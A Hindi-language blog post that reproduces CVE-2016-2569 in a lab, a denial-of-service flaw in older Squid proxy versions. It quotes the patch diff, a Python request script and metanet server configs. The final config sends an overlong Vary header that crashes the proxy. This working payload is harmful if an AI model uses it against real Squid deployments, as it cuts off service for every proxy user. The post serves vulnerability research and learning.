Squid 3.x के 3.5.15 से पहले और 4.x के 4.0.7 से पहले के संस्करण String objects में डेटा को सही ढंग से नहीं जोड़ते हैं, जिससे दूरस्थ सर्वर लंबी स्ट्रिंग के माध्यम से denial of service (assertion failure और daemon exit) उत्पन्न कर सकते हैं, जैसा कि एक विशेष रूप से तैयार HTTP Vary header द्वारा प्रदर्शित किया गया है।
नमस्ते,
मेरी पहली ब्लॉग पोस्ट पढ़ने के लिए धन्यवाद। आज हम एक ओपन-सोर्स टूल Squid कैशिंग प्रॉक्सी सर्वर के लिए एक्सप्लॉइट निर्माण करेंगे।
Squid वेब के लिए एक कैशिंग प्रॉक्सी है जो HTTP, HTTPS, FTP और अधिक को सपोर्ट करता है। यह बार-बार अनुरोधित वेब पेजों को कैश करके और पुनः उपयोग करके बैंडविड्थ कम करता है और प्रतिक्रिया समय में सुधार करता है। Squid में व्यापक एक्सेस नियंत्रण हैं और यह एक बेहतरीन सर्वर एक्सेलेरेटर है। यह अधिकांश उपलब्ध ऑपरेटिंग सिस्टम पर चलता है, जिसमें Windows भी शामिल है, और GNU GPL के तहत लाइसेंस प्राप्त है। आप Squid कैशिंग प्रॉक्सी के बारे में अधिक जानकारी उनकी आधिकारिक वेबसाइट [http://www.squid-cache.org/] पर पा सकते हैं।
सबसे पहले मुझे उम्मीद है कि आप जानते हैं कि CVE क्या है :p वैसे यह Common Vulnerabilities and Exposures को दर्शाता है (CVE के बारे में अधिक जानकारी [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures] पर मिल सकती है)
हम CVE-2016-2569 के बारे में निम्नलिखित जानकारी देख सकते हैं
विवरण: Squid 3.x (3.5.15 से पहले) और 4.x (4.0.7 से पहले) String ऑब्जेक्ट्स में डेटा को सही ढंग से नहीं जोड़ता है, जो दूरस्थ सर्वरों को एक लंबी स्ट्रिंग के माध्यम से denial of service (एसर्शन विफलता और डेमॉन का बाहर निकलना) उत्पन्न करने की अनुमति देता है, जैसा कि एक क्राफ्टेड HTTP Vary हेडर द्वारा प्रदर्शित किया गया है। Open Systems AG के Mathias Fischer ने इस भेद्यता की रिपोर्ट की।
चूंकि यह एक ओपन-सोर्स प्रोजेक्ट है, हम इस भेद्यता को कम करने के लिए उपयोग किए गए पैच को देख सकते हैं। प्रदान किए गए भेद्यता विवरण के आधार पर हम पुष्टि कर सकते हैं कि यह किसी प्रकार का ओवरफ्लो प्रयास है। हम आगे जांच करने के लिए सोर्स में और गहराई से जाना जारी रखेंगे।
पैच [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch] निम्नलिखित फ़ाइलों में परिवर्तन किए जाने की पुष्टि करता है
आइए गहराई में जाएं....
src/String.cc के लिए कोड डिफ दिलचस्प लगता है क्योंकि यह aSize वेरिएबल के लिए एसर्शन करता है
=== modified file 'src/String.cc'
--- src/String.cc 2016-01-01 00:14:27 +0000
+++ src/String.cc 2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
String::setBuffer(char *aBuf, String::size_type aSize)
{
assert(undefined());
- assert(aSize < 65536);
+ assert(aSize <= SizeMax_);
buf_ = aBuf;
size_ = aSize;
}
@@ -171,7 +171,7 @@
} else {
// Create a temporary string and absorb it later.
String snew;
- assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+ assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
snew.len_ = len_ + len;
snew.allocBuffer(snew.len_ + 1);
उपरोक्त कोड डिफ के आधार पर हम vary हेडर का मान 65536 बाइट्स से अधिक प्रदान करके भेद्यता का शोषण करने का प्रयास कर सकते हैं।
आइए अपना एक्सप्लॉइट सेटअप बनाकर शुरू करें
हम Linux सिस्टम पर Squid कैशिंग प्रॉक्सी सेट अप करेंगे (हम Xubuntu 16.04 LTS का उपयोग करेंगे)। Squid कैशिंग प्रॉक्सी metanet HTTP सर्वर की प्रतिक्रियाओं को कैश करता है और समान अनुरोध के लिए सर्वर से क्वेरी करने के बजाय क्लाइंट को मेमोरी कैश से प्रतिक्रियाएं भेजता है।
हमारा नेटवर्क टोपोलॉजी कुछ ऐसा दिखेगा जैसा नीचे दिखाया गया है (टोपोलॉजी के साथ पुराने स्कूल होने के लिए खेद है लेकिन मैं अब भी VIM से बहुत प्यार करता हूं)
------------------------- ------------------------- -------------------------
| | | | | |
| metanet | ----> | Squid | -----> | Client |
| 192.168.56.102 | | Caching Proxy | | 192.168.56.1 |
| HTTP Server | <---- | TCP Port 3128 | <---- | Python Requests |
| | | | | |
------------------------- ------------------------- -------------------------
हम Squid प्रॉक्सी के माध्यम से अपने nginx HTTP सर्वर पर मानक क्वेरी भेजेंगे और यह पता लगाने के लिए लॉग जांचेंगे कि सेटअप अपेक्षा के अनुसार काम कर रहा है या नहीं।
अपना काम आसान बनाने के लिए हम सर्वर को अनुरोध भेजने के लिए निम्नलिखित python स्क्रिप्ट का उपयोग करेंगे। यहां ध्यान देने वाली एक महत्वपूर्ण बात यह है कि अनुरोध में उपयोग किए गए हेडर प्रॉक्सी सर्वर को प्रतिक्रिया कैश करने की अनुमति देते हैं। यदि HTTP अनुरोध हेडर "If-Modified-Since", "max-age", और "cache-control" के मान सही नहीं हैं, तो क्लाइंट अनुरोध प्रॉक्सी सर्वर को प्रतिक्रियाओं के लिए सर्वर से क्वेरी करने के लिए मजबूर करेगा। यह प्रॉक्सी सर्वर के उद्देश्य को पूरी तरह से विफल कर देगा।
Request.py
#!/usr/bin/env python
import requests, os
proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}
if len(os.sys.argv) != 2:
print "Usage: req [URI]"
os.sys.exit()
print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])
r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)
print "\nHTTP Stat Code --> ", r.status_code
print
print "HTTP Response Headers \n",
for h in r.headers:
print h, ": ", r.headers[h]
print
if 'Vary' in r.headers:
print "Vary: ", r.headers['Vary'], "\n"
हम देख सकते हैं कि उपरोक्त python कोड हेडर सेट कर रहा है, प्रॉक्सी सेट कर रहा है और 192.168.56.102 पर स्थित HTTP सर्वर को अनुरोध भेजने के लिए python requests लाइब्रेरी का उपयोग कर रहा है। एक बार जब हमें सर्वर या प्रॉक्सी से प्रतिक्रिया मिल जाती है, तो हम हेडर प्रिंट कर रहे हैं। विशेष रूप से हम HTTP सर्वर या प्रॉक्सी सर्वर द्वारा भेजे गए Vary हेडर प्रतिक्रिया में रुचि रखते हैं।
हमारे सेटअप में अगला कदम metanet (HTTP सर्वर) स्थापित करना है। हम metanet का उपयोग करेंगे क्योंकि इसमें विभिन्न HTTP प्रतिक्रिया हेडर भेजना आसान है। विकल्प के रूप में हम SimpleHTTPServer का उपयोग कर सकते हैं जो हमें कस्टम HTTP प्रतिक्रियाएं भेजने की भी सुविधा देता है।
हमें metanet कॉन्फ़िग फ़ाइल इस प्रकार तैयार करनी होगी कि यह आवश्यक हेडर के साथ Vary हेडर का जवाब दे, जो Squid कैशिंग प्रॉक्सी को समान प्रतिक्रियाओं को मेमोरी में कैश करने की अनुमति देता है।
हमारा metanet कॉन्फ़िग कुछ इस प्रकार दिखेगा
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
आइए इसे आज़माकर देखें कि हमारा सेटअप वास्तव में काम करता है!
हमारे कॉन्फ़िग के आधार पर सब कुछ अच्छी स्थिति में दिख रहा है। w00t w00t!
आइए भेद्यता का शोषण करने का प्रयास करें (HTTP Vary प्रतिक्रिया हेडर के साथ लंबी स्ट्रिंग-आधारित बफर पास करना)। यह सरल ओवरफ्लो एक्सप्लॉइटेशन है। कोड डिफ से हम देख सकते हैं कि एक एसर्शन है जो निर्धारित करता है कि a_size का मान 65536 से अधिक नहीं होना चाहिए। हम Vary हेडर की लंबाई उतनी लंबी प्रदान करते हैं।
आदर्श रूप से हमारे पास 65536 मानक HTTP प्रतिक्रिया हेडर नहीं होते (वह कितनी गड़बड़ होती 😛); लेकिन हम हेडर बना सकते हैं। इस मामले में केवल Vary हेडर को पास की गई स्ट्रिंग की लंबाई मायने रखती है।
आइए python का उपयोग करके बहुत लंबी स्ट्रिंग बनाएं जैसे python -c 'print "a,b,c,d,e,f," *6000'। हम इस आउटपुट का उपयोग करेंगे और अपने metanet कॉन्फ़िग को नीचे की तरह संशोधित करेंगे और अपने एक्सप्लॉइट का परीक्षण करेंगे
हमारा metanet कॉन्फ़िग कुछ इस प्रकार दिखेगा
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<reapeated 6000 times>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
जब हम प्रॉक्सी को अपना पहला अनुरोध भेजते हैं, तो सब कुछ सामान्य लगता है। प्रॉक्सी प्रतिक्रियाओं को कैश करता हुआ नहीं लग रहा था; शायद Vary हेडर फ़ील्ड में हमारे द्वारा प्रदान किए गए मानों के कारण। कैश की गई सामग्री को सत्यापित करने के लिए md5 योग की गणना में Vary हेडर में निर्दिष्ट प्रतिक्रिया हेडर लिए जाते हैं।
आइए प्रॉक्सी को कई अनुरोध भेजते रहें। यहां कुछ गड़बड़ है, प्रॉक्सी हमारे अनुरोधों का जवाब नहीं दे रहा है क्योंकि हमें requests लाइब्रेरी से "Proxy Error" मिल रहा है। चलिए फिर भी अनुरोध भेजते रहते हैं।
अफ़सोस। बार-बार विफलताओं के कारण प्रॉक्सी बंद हो गया। प्रॉक्सी के माध्यम से सर्वर से जुड़ने वाला कोई भी डिवाइस कुछ भी एक्सेस नहीं कर पाएगा। यह सभी प्रॉक्सी उपयोगकर्ताओं के लिए Denial of Service है।
